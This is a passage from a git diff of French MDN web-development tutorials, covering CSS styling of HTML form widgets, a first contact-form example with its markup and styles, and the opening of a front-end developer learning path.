Modèle de boîte

+ +

Tous les champs textuels sont compatibles avec les différentes propriétés du modèle de boîte CSS ({{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}} et {{cssxref("border")}}). Toutefois, comme précédemment les navigateurs s'appuient sur l'apparence par défaut du système d'exploitation. C'est votre décision de choisir si vous souhaitez intégrer vos formulaires à votre contenu du point de vue de l'apparence. Si vous souhaitez conserver l'apparence originale des blocs, vous aurez des difficultés à leur donner des dimensions cohérentes.

+ +

Chacun des blocs a ses propres règles concernant les bordures, la marge intérieure (padding) et extérieure (margin). Si vous souhaitez qu'ils aient tous la même dimension, vous devrez utiliser la propriété {{cssxref("box-sizing")}} :

+ +
input, textarea, select, button {
+  width : 150px;
+  margin: 0;
+
+  -webkit-box-sizing: border-box; /* Pour les anciennes versions des navigateurs WebKit */
+     -moz-box-sizing: border-box; /* Pour tous les navigateurs Gecko */
+          box-sizing: border-box;
+}
+ +

This is a screenshot of the main form widgets on Chrome on Windows 7, with and without the use of box-sizing.

+ +

Dans la capture d'écran ci-dessous, la colonne de gauche n'utilise pas {{cssxref("box-sizing")}}, alors que la colonne de droite utilise la propriété CSS border-box. Remarquez comment tous les éléments occupent le même espace, malgré les valeurs par défaut de la plateforme pour chacun des blocs.

+ +

Positionnement

+ +

Le positionnement des formulaires HTML n'est pas un problème de manière générale. Seulement deux éléments nécessitent une attention particulière :

+ +

legend

+ +

L'apparence de l'élément {{HTMLElement("legend")}} est facile à modifier à l'exception de sa position. Dans chaque navigateur, l'élément {{HTMLElement("legend")}} est positionné au-dessus de la bordure supérieure de son élément {{HTMLElement("fieldset")}} parent. Il n'existe aucune manière de changer sa position dans le flux HTML. Vous pouvez toutefois le positionner de manière absolue ou relative en utilisant la propriété {{cssxref("position")}}, sinon, ce sera une partie de la bordure de l'élément fieldset.

+ +

Comme l'élément {{HTMLElement("legend")}} est très important pour des raisons d'accessibilité (nous parlerons des techniques pour l'assistance à propos de l'attribut  label de chaque élément de formulaire du fieldset), il est souvent associé à un intitulé, puis caché à l'accessibilité, comme ceci :

+ +
HTML
+ +
<fieldset>
+  <legend>Hi!</legend>
+  <h1>Hello</h1>
+</fieldset>
+ +
CSS
+ +
legend {
+  width: 1px;
+  height: 1px;
+  overflow: hidden;
+}
+ +

textarea

+ +

Par défaut, tous les navigateurs considèrent l'élément {{HTMLElement("textarea")}} comme un bloc incorporé aligné sur la ligne du bas du texte. C'est rarement ce que nous souhaitons vraiment. Pour passer d'inline-block à block, il est assez facile d'utiliser la propriété {{cssxref("display")}}. Mais si vous voulez l'utiliser en ligne, il est courant de changer son alignement vertical :

+ +
textarea {
+  vertical-align: top;
+}
+ +

Exemple

+ +

Regardons sur un exemple concret la façon de composer un formulaire HTML. Cela aidera à clarifier nombre de ces concepts. Nous allons construire un formulaire de contact sous forme de « carte postale » :

+ +

C'est ce que nous voulons réaliser avec le HTML et les CSS.

+ +

HTML

+ +

Le HTML n'est qu'à peine plus développé que celui de l'exemple du premier article de ce guide ; il ne comporte que quelques identifiants supplémentaires et un titre.

+ +
<form>
+  <h1>à: Mozilla</h1>
+
+  <div id="from">
+    <label for="name">de :</label>
+    <input type="text" id="name" name="user_name">
+  </div>
+
+  <div id="reply">
+    <label for="mail">répondre à :</label>
+    <input type="email" id="mail" name="user_email">
+  </div>
+
+  <div id="message">
+    <label for="msg">Votre message :</label>
+    <textarea id="msg" name="user_message"></textarea>
+  </div>
+
+  <div class="button">
+    <button type="submit">Poster le message</button>
+  </div>
+</form>
+ +

Organiser les ressources

+ +

C'est ici que le « fun » commence ! Avant de commencer à coder, nous avons besoin de trois ressources supplémentaires :

+ +
    +
  1. L'image de fond de la carte postale — téléchargez cette image et sauvegardez‑la dans le même répertoire que votre fichier HTML de travail.
    2. +
  2. Une police de machine à écrire : « Secret Typewriter » de fontsquirrel.com — téléchargez le fichier TTF dans le même répertoire que ci‑dessus.
    3. +
  3. Une police d'écriture manuelle :  « Journal » de fontsquirrel.com — téléchargez le fichier TTF dans le même répertoire que ci‑dessus.
    4. +
+ +

 

+ +

Les polices demandent un supplément de traitement avant de débuter :

+ +
    +
  1. Allez sur le Webfont Generator de fontsquirrel.
    2. +
  2. En utilisant le formulaire, téléversez les fichiers de polices et créez un kit de polices pou le Web. Téléchargez le kit sur votre ordinateur.
    3. +
  3. Décompressez le fichier zip fourni.
    4. +
  4. Dans le contenu décompressé vous trouverez deux fichiers .woff et deux fichiers .woff2. Copiez ces quatre fichiers dans un répertoire nommé fonts, dans le même répertoire que ci‑dessus. Nous utilisons deux fichiers différents pour maximiser la compatibilité avec les navigateurs ; voyez notre article sur les Web fonts pour des informations plus détaillées.
    5. +
+ +

Le CSS

+ +

 

+ +

Maintenant nous pouvons approfondir les CSS de l'exemple. Ajoutez tous les blocs de code affichés ci‑dessous dans un élément {{htmlelement("style")}}, l'un après l'autre.

+ +

D'abord, la préparation de base en définissant les règles de {{cssxref("@font-face")}} et les base des éléments {{HTMLElement("body")}} et {{HTMLElement("form")}}.

+ +
@font-face{
+  font-family : "handwriting";
+  src: url('fonts/journal-webfont.woff2') format('woff2'),
+       url('fonts/journal-webfont.woff') format('woff');
+  font-weight: normal;
+  font-style: normal;
+}
+
+@font-face{
+  font-family : "typewriter";
+  src: url('fonts/veteran_typewriter-webfont.woff2') format('woff2'),
+       url('fonts/veteran_typewriter-webfont.woff') format('woff');
+  font-weight: normal;
+  font-style: normal;
+}
+
+body {
+  font  : 21px sans-serif;
+
+  padding : 2em;
+  margin  : 0;
+
+  background : #222;
+}
+
+form {
+  position: relative;
+
+  width  : 740px;
+  height : 498px;
+  margin : 0 auto;
+
+  background: #FFF url(background.jpg);
+}
+ +

Maintenant nous pouvons placer nos éléments, y compris le titre et tous les éléments du formulaire.

+ +
h1 {
+  position : absolute;
+  left : 415px;
+  top  : 185px;
+
+  font : 1em "typewriter", sans-serif;
+}
+
+#from {
+  position: absolute;
+  left : 398px;
+  top  : 235px;
+}
+
+#reply {
+  position: absolute;
+  left : 390px;
+  top  : 285px;
+}
+
+#message {
+  position: absolute;
+  left : 20px;
+  top  : 70px;
+}
+ +

C'est là que nous commençons à travailler sur les éléments du formulaire eux-mêmes. Tout d'abord, assurons-nous que l'élément {{HTMLElement("label")}} est doté de la bonne police de caractères.

+ +
label {
+  font : .8em "typewriter", sans-serif;
+}
+ +

Les champs texte nécessitent quelques règles courantes. Mettons‑les simplement, nous supprimons {{cssxref("border","borders")}} et {{cssxref("background","backgrounds")}} et redéfinissons {{cssxref("padding")}} et {{cssxref("margin")}}.

+ +
input, textarea {
+  font    : .9em/1.5em "handwriting", sans-serif;
+
+  border  : none;
+  padding : 0 10px;
+  margin  : 0;
+  width   : 240px;
+
+  background: none;
+}
+ +

Lorsque l'un de ces champs reçoit le focus, nous le mettons en évidence avec un fond gris clair et transparent. Notez qu'il est important d'ajouter la propriété {{cssxref("outline")}} pour supprimer le focus par défaut ajouté par certains navigateurs.

+ +
input:focus, textarea:focus {
+  background   : rgba(0,0,0,.1);
+  border-radius: 5px;
+  outline      : none;
+}
+ +

Maintenant que nos champs texte sont terminés, nous devons ajuster l'affichage de ceux à une et ceux à plusieurs lignes pour qu'ils correspondent, car ils ne sont généralement pas du tout identiques par défaut.

+ +

Le champ texte à une seule ligne a besoin de quelques ajustements pour un bon rendu dans Internet Explorer. Internet Explorer ne définit pas la hauteur des champs en fonction de la hauteur naturelle de la police (qui est le comportement de tous les autres navigateurs). Pour résoudre ce problème, nous devons ajouter une hauteur explicite au champ, comme suit :

+ +
input {
+    height: 2.5em; /* pour IE */
+    vertical-align: middle; /* optionnel mais donne meilleur aspect pour IE */
+}
+ +

Les éléments {{HTMLElement("textarea")}} sont rendus par défaut en tant qu'élément bloc. Les deux choses importantes ici sont les propriétés {{cssxref("resize")}} et {{cssxref("overflow")}}. Comme notre design est à taille fixe, nous utiliserons la propriété resize pour empêcher les utilisateurs de redimensionner le champ texte multiligne. La propriété {{cssxref("overflow")}} est utilisée pour rendre le champ plus cohérent d'un navigateur à l'autre ; certains navigateurs utilisent la valeur auto et d'autres la valeur par défaut pour scroll lorsqu'elle n'est pas précisée. Dans notre cas, il vaut mieux s'assurer que tout le monde utilise auto.

+ +
textarea {
+  display : block;
+
+  padding : 10px;
+  margin  : 10px 0 0 -10px;
+  width   : 340px;
+  height  : 360px;
+
+  resize  : none;
+  overflow: auto;
+}
+ +

L'élément {{HTMLElement("button")}} est très accommodant avec les CSS ; vous faites ce que vous voulez, même en utilisant les pseudo-elements !

+ +
button {
+  position     : absolute;
+  left         : 440px;
+  top          : 360px;
+
+  padding      : 5px;
+
+  font         : bold .6em sans-serif;
+  border       : 2px solid #333;
+  border-radius: 5px;
+  background   : none;
+
+  cursor       : pointer;
+
+-webkit-transform: rotate(-1.5deg);
+   -moz-transform: rotate(-1.5deg);
+    -ms-transform: rotate(-1.5deg);
+     -o-transform: rotate(-1.5deg);
+        transform: rotate(-1.5deg);
+}
+
+button:after {
+  content: " >>>";
+}
+
+button:hover,
+button:focus {
+  outline   : none;
+  background: #000;
+  color   : #FFF;
+}
+ +

Et voilà ! (en français dans le texte)

+ +
+

Note : si cet exemple ne fonctionne pas tout à fait comme vous l'attendez et que vous voulez vérifier votre version, vous la trouverez sur GitHub — voyez‑la fonctionner en direct (et revoyez son code source).

+
+ +

Conclusion

+ +

Comme vous pouvez le voir, tant que nous voulons construire des formulaires avec seulement des champs de texte et des boutons, il est facile de les styliser à l'aide des CSS. Si vous voulez en savoir plus sur les petites astuces des CSS qui peuvent vous faciliter la vie lorsque vous travaillez avec des widgets de formulaire, jetez un coup d'oeil à la partie formulaire du projet normalize.css.

+ +

Dans le prochain article, nous verrons comment gérer les widgets des catégories « brutes » et « truands ».

+ +

{{PreviousMenuNext("Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/forms/your_first_form/example/index.html b/files/fr/learn/forms/your_first_form/example/index.html new file mode 100644 index 0000000000..3f25e6d644 --- /dev/null +++ b/files/fr/learn/forms/your_first_form/example/index.html @@ -0,0 +1,104 @@ +--- +title: Exemple +slug: Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML/Exemple +translation_of: Learn/Forms/Your_first_form/Example +--- +

Ceci est l'exemple pour l'article Mon premier formulaire HTML.

+ +

Un formulaire simple

+ +

Contenu HTML

+ +
<form action="http://www.cs.tut.fi/cgi-bin/run/~jkorpela/echo.cgi" method="post">
+  <div>
+    <label for="nom">Nom :</label>
+    <input type="text" id="nom" name="user_name">
+  </div>
+
+  <div>
+    <label for="courriel">Courriel :</label>
+    <input type="email" id="courriel" name="user_email">
+  </div>
+
+  <div>
+    <label for="message">Message :</label>
+    <textarea id="message" name="user_message"></textarea>
+  </div>
+
+  <div class="button">
+    <button type="submit">Envoyer le message</button>
+  </div>
+</form>
+ +

Contenu CSS

+ +
form {
+  /* Pour le centrer dans la page */
+  margin: 0 auto;
+  width: 400px;
+
+  /* Pour voir les limites du formulaire */
+  padding: 1em;
+  border: 1px solid #CCC;
+  border-radius: 1em;
+}
+
+div + div {
+  margin-top: 1em;
+}
+
+label {
+  /* Afin de s'assurer que toutes les étiquettes aient la même dimension et soient alignées correctement */
+  display: inline-block;
+  width: 90px;
+  text-align: right;
+}
+
+input, textarea {
+  /* Afin de s'assurer que tous les champs textuels utilisent la même police
+     Par défaut, textarea utilise une police à espacement constant */
+  font: 1em sans-serif;
+
+  /* Pour donner la même dimension à tous les champs textuels */
+  width: 300px;
+
+  -moz-box-sizing: border-box;
+       box-sizing: border-box;
+
+  /* Pour harmoniser l'apparence des bordures des champs textuels */
+  border: 1px solid #999;
+}
+
+input:focus, textarea:focus {
+  /* Afin de réhausser les éléments actifs */
+  border-color: #000;
+}
+
+textarea {
+  /* Pour aligner correctement les champs multilignes et leurs étiquettes */
+  vertical-align: top;
+
+  /* Pour donner assez d'espace pour entrer du texte */
+  height: 5em;
+
+  /* Pour permettre aux utilisateurs de redimensionner un champ textuel horizontalement
+     Cela ne marche pas avec tous les navigateurs  */
+  resize: vertical;
+}
+
+.button {
+  /* Pour positionner les boutons de la même manière que les champs textuels */
+  padding-left: 90px; /* même dimension que les étiquettes */
+}
+
+button {
+  /* Cette marge représente approximativement le même espace
+     que celui entre les étiquettes et les champs textuels */
+  margin-left: .5em;
+}
+ +

Résultat

+ +

{{ EmbedLiveSample('Un_formulaire_simple', '100%', '280') }}

+ +

 

diff --git a/files/fr/learn/forms/your_first_form/index.html b/files/fr/learn/forms/your_first_form/index.html new file mode 100644 index 0000000000..8f082f6d81 --- /dev/null +++ b/files/fr/learn/forms/your_first_form/index.html @@ -0,0 +1,281 @@ +--- +title: Mon premier formulaire HTML +slug: Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML +tags: + - Apprentissage + - Codage + - Débutant + - Exemple + - Formulaires + - Guide + - HTML + - Web +translation_of: Learn/Forms/Your_first_form +--- +

{{LearnSidebar}}{{NextMenu("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires")}}

+ +

Le premier article de notre série vous offre une toute première expérience de création de formulaire en HTML, y compris sa conception, sa mise en œuvre en utilisant les bons éléments HTML, l'ajout de quelques très simples décorations avec les CSS et la façon dont les données sont envoyées à un serveur.

+ + + + + + + + + + + + +
Prérequis :Notions concernant les ordinateurs et les connaissances de base du HTML.
Objectif :Comprendre ce que sont les formulaires HTML, à quoi ils servent, comment les concevoir et quels sont les éléments de base HTML nécessaires dans les cas simples.
+ +

Un formulaire HTML, qu'est-ce ?

+ +

Les formulaires HTML sont un des vecteurs principaux d'interaction entre un utilisateur et un site web ou une application. Ils permettent à l'utilisateur d'envoyer des données au site web. La plupart du temps, ces données sont envoyées à des serveurs web mais la page peut aussi les intercepter et les utiliser elle-même.

+ +

Un formulaire HTML est composé d'un ou plusieurs widgets. Ceux-ci peuvent être des zones de texte (sur une seule ligne ou plusieurs lignes), des boîtes à sélection, des boutons, des cases à cocher ou des boutons radio. La plupart du temps, ces items sont associés à un libellé qui décrit leur rôle — des étiquettes correctement implémentées sont susceptibles d'informer clairement l'utilisateur normal ou mal‑voyant sur ce qu'il convient d'entrer dans le formulaire.

+ +

La principale différence entre un formulaire HTML et un document HTML habituel réside dans le fait que, généralement, les données collectées par le formulaire sont envoyées vers un serveur web. Dans ce cas, vous avez besoin de mettre en place un serveur web pour récupérer ces données et les traiter. La mise en place d'un tel serveur ne fait pas partie des sujets abordés dans ce guide. Si vous souhaitez toutefois en savoir plus, voyez « Envoi des données de formulaire » plus loin dans ce module.

+ +

Concevoir le formulaire

+ +

Avant de passer au code, il est souhaitable de prendre un peu de recul et accorder quelques instants de réflexion à votre formulaire. Dessiner un rapide croquis vous permettra de définir les informations que vous souhaitez demander à l'utilisateur. Du point de vue de l'expérience utilisateur, il est important de garder à l'esprit que plus vous demandez d'informations, plus vous risquez que votre utilisateur s'en aille. Restez simple et ne perdez pas votre objectif de vue : ne demandez que ce dont vous avez absolument besoin. La conception de formulaires est une phase importante de la construction d'un site internet ou d'une application. L'approche de l'expérience utilisateur de ces formulaires ne fait pas partie des objectifs de ce guide, mais si vous souhaitez approfondir ce sujet, vous pouvez lire les articles suivants :

+ + + +

Dans ce guide, nous allons concevoir un formulaire de contact simple. Posons les premières pierres.

+ +

Le croquis du formulaire que l'on veut créer

+ +

Notre formulaire contiendra trois champs de texte et un bouton. Nous demandons simplement à notre utilisateur son nom, son adresse électronique et le message qu'il souhaite envoyer. En appuyant sur le bouton, le message sera envoyé au serveur web.

+ +

 Apprentissage actif : mise en œuvre de notre formulaire HTML

+ +

Très bien, nous sommes maintenant prêts à passer au HTML et à coder notre formulaire. Pour construire notre formulaire, nous aurons besoin des éléments HTML suivants : {{HTMLElement("form")}}, {{HTMLElement("label")}}, {{HTMLElement("input")}}, {{HTMLElement("textarea")}} et {{HTMLElement("button")}}.

+ +

Avant de poursuivre, faites une copie locale de notre simple modèle HTML — vous y incorporerez votre formulaire.

+ +

L'élément {{HTMLElement("form")}}

+ +

Tous les formulaires HTML débutent par un élément {{HTMLElement("form")}} comme celui-ci :

+ +
<form action="/my-handling-form-page" method="post">
+
+</form>
+ +

Cet élément définit un formulaire. C'est un élément conteneur au même titre que les éléments {{HTMLElement("div")}} ou {{HTMLElement("p")}}, mais il accepte aussi quelques attributs spécifiques afin de contrôler la manière dont il se comporte. Tous ses attributs sont optionnels mais définir au moins les attributs action et method est considéré comme de bonne pratique.

+ +
    +
  • L'attribut action définit l'emplacement (une URL) où doivent être envoyées les données collectées par le formulaire.
    • +
  • L'attribut method définit la méthode HTTP utilisée pour envoyer les données (cela peut être « get » ou « post »).
    • +
+ +
+

Note : Si vous souhaitez en savoir plus sur le fonctionnement de ces attributs, cela est détaillé dans l'article « Envoi des données de formulaire ».

+
+ +

Pour le moment, ajoutez l'élément {{htmlelement("form")}} ci dessus dans le corps de votre HTML.

+ +

Les éléments {{HTMLElement("label")}}, {{HTMLElement("input")}} et {{HTMLElement("textarea")}}

+ +

Notre formulaire de contact est très simple et ne contient que trois champs de texte, chacun ayant une étiquette. Le champ d'entrée pour le nom est un champ de texte sur une seule ligne, le champ pour l'adresse électronique est un champ de texte sur une ligne qui n'accepte que des adresses électroniques et enfin le champ pour le message est un champ de texte sur plusieurs lignes.

+ +

En terme de code HTML, nous avons besoin de quelque chose qui ressemble à ceci pour mettre en œuvre nos widgets de formulaire.

+ +
<form action="/ma-page-de-traitement" method="post">
+    <div>
+        <label for="name">Nom :</label>
+        <input type="text" id="name" name="user_name">
+    </div>
+    <div>
+        <label for="mail">e-mail :</label>
+        <input type="email" id="mail" name="user_mail">
+    </div>
+    <div>
+        <label for="msg">Message :</label>
+        <textarea id="msg" name="user_message"></textarea>
+    </div>
+</form>
+ +

Les éléments {{HTMLElement("div")}} sont ici pour structurer notre code et rendre la mise en page plus facile (voir ci-dessous). Veuillez noter l'utilisation de l'attribut for sur tous les éléments {{HTMLElement("label")}}. C'est une manière formelle de lier un libellé à un élément du formulaire. Cet attribut fait référence à l'id de l'élément correspondant. Il y a plusieurs avantages à faire ainsi. Le plus évident de permettre à l'utilisateur de cliquer sur l'étiquette pour activer le bloc correspondant. Si vous souhaitez mieux comprendre les bénéfices de cet attribut, tout est détaillé dans cet article : Comment structurer un formulaire HTML.

+ +

Concernant l'élément {{HTMLElement("input")}}, l'attribut le plus important est l'attribut type. Ce dernier est extrêmement important puisqu'il définit le comportement de l'élément {{HTMLElement("input")}}. Il peut radicalement changer le sens de l'élément, faites-y attention. Si vous voulez en savoir plus à ce propos, vous pouvez lire l'article au sujet des widgets natifs pour formulaire.

+ +
    +
  • Dans notre exemple nous n'utilisons que la valeur text — qui est la valeur par défaut de cet attribut et représente un champ de texte basique sur une seule ligne acceptant n'importe quel type de texte.
    • +
  • Pour la deuxième entrée, nous utilisons la valeur email qui définit un champ de texte sur une seule ligne n'acceptant que des adresses électroniques valides. Cette dernière valeur transforme un champ basique en une sorte de champ « intelligent » qui réalise des vérifications sur les données fournies par l'utilisateur. Vous trouverez plus de détails sur la validation des formulaires dans l'article Validation des données de formulaire.
    • +
+ +

Last but not least, remarquez la syntaxe de <input> vs <textarea></textarea>. C'est une des bizarreries du HTML. La balise <input> est un élément vide, ce qui signifie qu'il n'a pas besoin de balise fermante. Au contraire, {{HTMLElement("textarea")}} n'est pas un élément vide, il faut donc le fermer avec la balise fermante appropriée. Cela a un effet sur une caractéristique spécifique des formulaires HTML : la manière dont vous définissez la valeur par défaut. Pour définir une valeur par défaut d'un élément {{HTMLElement("input")}} vous devez utiliser l'attribut value de la manière suivante :

+ +
<input type="text" value="par défaut cet élément sera renseigné avec ce texte">
+ +

A contrario, si vous souhaitez définir la valeur par défaut d'un élément {{HTMLElement("textarea")}}, il suffit simplement de mettre la valeur par défaut entre les balises ouvrantes et fermantes de l'élément {{HTMLElement("textarea")}} de la manière suivante :

+ +
<textarea>par défaut cet élément sera renseigné avec ce texte</textarea>
+ +

L'élément {{HTMLElement("button")}}

+ +

Notre formulaire est presque terminé. Il nous suffit seulement d'ajouter un bouton pour permettre à l'utilisateur de nous envoyer les données renseignées dans le formulaire. Ceci se fait simplement en ajoutant d'un élément {{HTMLElement("button")}} ; ajoutez‑le juste avant la balise fermante </form> :

+ +
    <div class="button">
+        <button type="submit">Envoyer le message</button>
+    </div>
+
+ +

Comme vous le voyez l'élément {{htmlelement("button")}} accepte aussi un attribut de type — il peut prendre une des trois valeurs : submit, reset ou button.

+ +
    +
  • Un clic sur un bouton submit (valeur par défaut) envoie les données du formulaire vers la page définie par l'attribut action de l'élément {{HTMLElement("form")}}.
    • +
  • Un clic sur un bouton reset réinitialise tous les widgets du formulaire à leurs valeurs par défaut immédiatement. Du point de vue de l'expérience utilisateur, utiliser un tel bouton est une mauvaise pratique.
    • +
  • Un clic sur un bouton button ne fait... rien ! Cela peut paraître stupide mais c'est en réalité très pratique pour concevoir des boutons personnalisés avec JavaScript.
    • +
+ +
+

Note : Vous pouvez aussi utiliser l'élément {{HTMLElement("input")}} avec le type approprié pour produire un bouton, par exemple <input type="submit">. Le principal avantage de {{HTMLElement("button")}} par rapport à l'élément {{HTMLElement("input")}} est que ce dernier ne permet d'utiliser que du texte comme étiquette tandis que l'élément {{HTMLElement("button")}} permet d'utiliser n'importe quel contenu HTML, autorisant ainsi des textes de bouton plus complexes et créatifs.

+
+ +

Mise en page élémentaire du formulaire

+ +

Nous avons désormais notre formulaire HTML, et si vous le regardez dans votre navigateur préféré, vous verrez qu'il est plutôt laid.

+ +

+ +
+

Note : Si vous pensez que vous n'avez pas écrit un code HTML correct, faites la comparaison avec celui de notre exemple terminé — voyez  first-form.html ( ou également directement).

+
+ +

Les formulaires sont notoirement embêtants à présenter joliment. Apprendre la mise en page ou la décoration des formulaires sort du cadre de cet article, donc pour le moment nous allons simplement ajouter quelques indications au CSS pour lui donner un air convenable.

+ +

Tout d'abord, ajoutons un élément {{htmlelement("style")}} à notre page, dans l'en‑tête HTML. Comme ceci :

+ +
<style>
+
+</style>
+ +

Entre les balises style, ajoutons le CSS suivant, juste comme indiqué :

+ +
form {
+  /* Uniquement centrer le formulaire sur la page */
+  margin: 0 auto;
+  width: 400px;
+  /* Encadré pour voir les limites du formulaire */
+  padding: 1em;
+  border: 1px solid #CCC;
+  border-radius: 1em;
+}
+
+form div + div {
+  margin-top: 1em;
+}
+
+label {
+  /* Pour être sûrs que toutes les étiquettes ont même taille et sont correctement alignées */
+  display: inline-block;
+  width: 90px;
+  text-align: right;
+}
+
+input, textarea {
+  /* Pour s'assurer que tous les champs texte ont la même police.
+     Par défaut, les textarea ont une police monospace */
+  font: 1em sans-serif;
+
+  /* Pour que tous les champs texte aient la même dimension */
+  width: 300px;
+  box-sizing: border-box;
+
+  /* Pour harmoniser le look & feel des bordures des champs texte */
+  border: 1px solid #999;
+}
+
+input:focus, textarea:focus {
+  /* Pour souligner légèrement les éléments actifs */
+  border-color: #000;
+}
+
+textarea {
+  /* Pour aligner les champs texte multi‑ligne avec leur étiquette */
+  vertical-align: top;
+
+  /* Pour donner assez de place pour écrire du texte */
+  height: 5em;
+}
+
+.button {
+  /* Pour placer le bouton à la même position que les champs texte */
+  padding-left: 90px; /* même taille que les étiquettes */
+}
+
+button {
+  /* Cette marge supplémentaire représente grosso modo le même espace que celui
+     entre les étiquettes et les champs texte */
+  margin-left: .5em;
+}
+ +

Désormais notre formulaire a une bien meilleure allure.

+ +

+ +
+

Note : Il est sur GitHub dans first-form-styled.html (à voir aussi directement).

+
+ +

Envoyer les données au serveur Web

+ +

Finalement, gérer les données du formulaire côté serveur web est peut être le plus compliqué. Comme dit auparavant, un formulaire HTML est une manière pratique de demander de l'information à un utilisateur et de les adresser à un serveur web.

+ +

L'élément {{HTMLElement("form")}} définit où et comment les données sont envoyées, merci aux attributs action et method.

+ +

Mais ce n'est pas tout. Nous avons aussi besoin de donner un nom à nos données. Ces noms sont importants pour deux raisons. Du côté du navigateur, cela sert à définir le nom de chaque élément de donnée. Du côté du serveur, chaque information doit avoir un nom pour être manipulée correctement.

+ +

Pour nommer vos données vous devez utiliser l'attribut name pour identifier bien précisément l'élément d'information collecté par chacun des widgets. Regardons à nouveau le code de notre formulaire :

+ +
form action="/my-handling-form-page" method="post">
+  <div>
+    <label for="name">Nom :</label>
+    <input type="text" id="name" name="user_name" />
+  <div>
+  <div>
+    <label for="mail">E-mail :</label>
+    <input type="email" id="mail" name="user_email" />
+  </div>
+  <div>
+    <label for="msg">Message:</label>
+    <textarea id="msg" name="user_message"></textarea>
+  </div>
+
+  ...
+ +

Dans notre exemple, le formulaire enverra trois informations nommées respectivement « user_name », « user_email » et « user_message ». Ces informations seront envoyées à l'URL « /my-handling-form-page » avec la méthode HTTP POST.

+ +

Du côté du serveur, le script à l'URL « /my-handling-form-page » recevra les données sous forme d'une liste de trois éléments clé/valeur intégrés à la requête HTTP. À vous de définir comment ce script va manipuler les données. Chacun des langages serveurs (PHP, Python, Ruby, Java, C#, etc.) a son propre mécanisme pour traiter ces données. Il n'appartient pas à ce guide d'approfondir ce sujet, mais si vous souhaitez en savoir plus, nous avons mis quelques exemples dans l'article Envoi des données de formulaire.

+ +

Résumé

+ +

Félicitations ! Vous avez construit votre premier formulaire HTML. Il ressemble à ceci :

+ +

{{EmbedLiveSample("Un_formulaire_simple", "100%", "240", "", "Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML/Exemple")}}

+ +

Toutefois, ce n'est qu'un début — il est désormais temps de regarder plus en détail. Les formulaires HTML sont bien plus puissants que ce que vous avez pu voir ici et les autres articles de ce guide vous aiderons à maîtriser le reste.

+ +

{{NextMenu("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/front-end_web_developer/index.html b/files/fr/learn/front-end_web_developer/index.html new file mode 100644 index 0000000000..e520a7a9a3 --- /dev/null +++ b/files/fr/learn/front-end_web_developer/index.html @@ -0,0 +1,189 @@ +--- +title: Développeur web front-end +slug: Apprendre/Front-end_web_developer +translation_of: Learn/Front-end_web_developer +--- +

{{learnsidebar}}

+ +

Bienvenue dans notre parcours d'apprentissage pour les développeurs Web front-end!

+ +

Ici, nous vous proposons un cours structuré qui vous apprendra tout ce que vous devez savoir pour devenir un développeur Web front-end. Parcourez simplement chaque section, en apprenant de nouvelles compétences (ou en améliorant celles existantes) au fur et à mesure. Chaque section comprend des exercices et des évaluations pour tester votre compréhension avant d'aller de l'avant.

+ +

Sujets abordés

+ +

Les sujets abordés sont :

+ +
    +
  • Configuration de base et apprendre à apprendre
    • +
  • Les normes du Web et les bonnes pratiques (telles que l'accessibilité et la compatibilité entre navigateurs)
    • +
  • HTML, le langage qui donne la structure et le sens du contenu Web
    • +
  • CSS, le langage utilisé pour styliser les pages Web
    • +
  • JavaScript, le langage de script utilisé pour créer des fonctionnalités dynamiques sur le Web
    • +
  • Les outils utilisés pour faciliter le développement Web moderne côté client.
    • +
+ +

Vous pouvez parcourir les sections dans l'ordre, mais chacune d'elles est également indépendante. Par exemple, si vous connaissez déjà le HTML, vous pouvez passer à la section CSS.

+ +

Prérequis

+ +

Vous n'avez pas besoin de connaissances préalables pour commencer ce cours. Tout ce dont vous avez besoin, c'est d'un ordinateur capable de faire fonctionner des navigateurs web modernes, d'une connexion internet et d'une volonté d'apprendre.

+ +

Si vous n'êtes pas sûr que le développement web front-end est fait pour vous, et/ou si vous souhaitez une introduction en douceur avant de commencer un cours plus long et plus complet, consultez d'abord notre module Commencer avec le web.

+ +

Obtenir de l'aide

+ +

Nous avons essayé de rendre l'apprentissage du développement web front-end aussi simple que possible, mais vous resterez probablement bloqué parce que vous ne comprenez pas quelque chose, ou parce que du code ne fonctionne pas.

+ +

Ne paniquez pas. Nous avons tous des problèmes, que nous soyons débutants ou professionnels du développement web. L'article Apprendre et obtenir de l'aide avous donne une série de conseils pour rechercher des informations et vous aider. Si vous êtes toujours bloqués, n'hésitez pas à poser une question sur notre forum de discussion.

+ +

Allons-y. Bonne chance !

+ +

Le parcours d'apprentissage

+ +

Pour commencer

+ +

Temps nécessaire: 1–2 heures

+ +

Prérequis

+ +

Rien d'autre que des connaissances de base en informatique.

+ +

Comment saurai-je que je suis prêt à passer à autre chose ?

+ +

Il n'y a pas d'évaluation dans cette partie du cours. Mais assurez-vous de ne pas sauter d'étape. Il est important de vous préparer à faire des exercices plus tard dans le cours.

+ +

Guides fondamentaux

+ + + +

Sémantique et structure avec HTML

+ +

Temps nécessaire: 35–50 heures

+ +

Prérequis

+ +

Rien d'autre que des connaissances informatiques de base, et un environnement de développement web de base.

+ +

Comment saurai-je que je suis prêt à passer à autre chose ?

+ +

Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet.  En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.

+ +

Guides fondamentaux

+ + + +

Design et mise en page avec le CSS

+ +

Temps nécessaire: 90–120 heures

+ +

Prérequis

+ +

Il est recommandé d'avoir des connaissances de base en HTML avant de commencer à apprendre le CSS. Vous devriez au moins étudier l'introduction au HTML d'abord.

+ +

Comment saurai-je que je suis prêt à passer à autre chose ?

+ +

Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet.  En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.

+ +

Guides fondamentaux

+ + + +

Ressources complémentaires

+ + + +

Interactivité avec JavaScript

+ +

Temps nécessaire: 135–185 heures

+ +

Prérequis

+ +

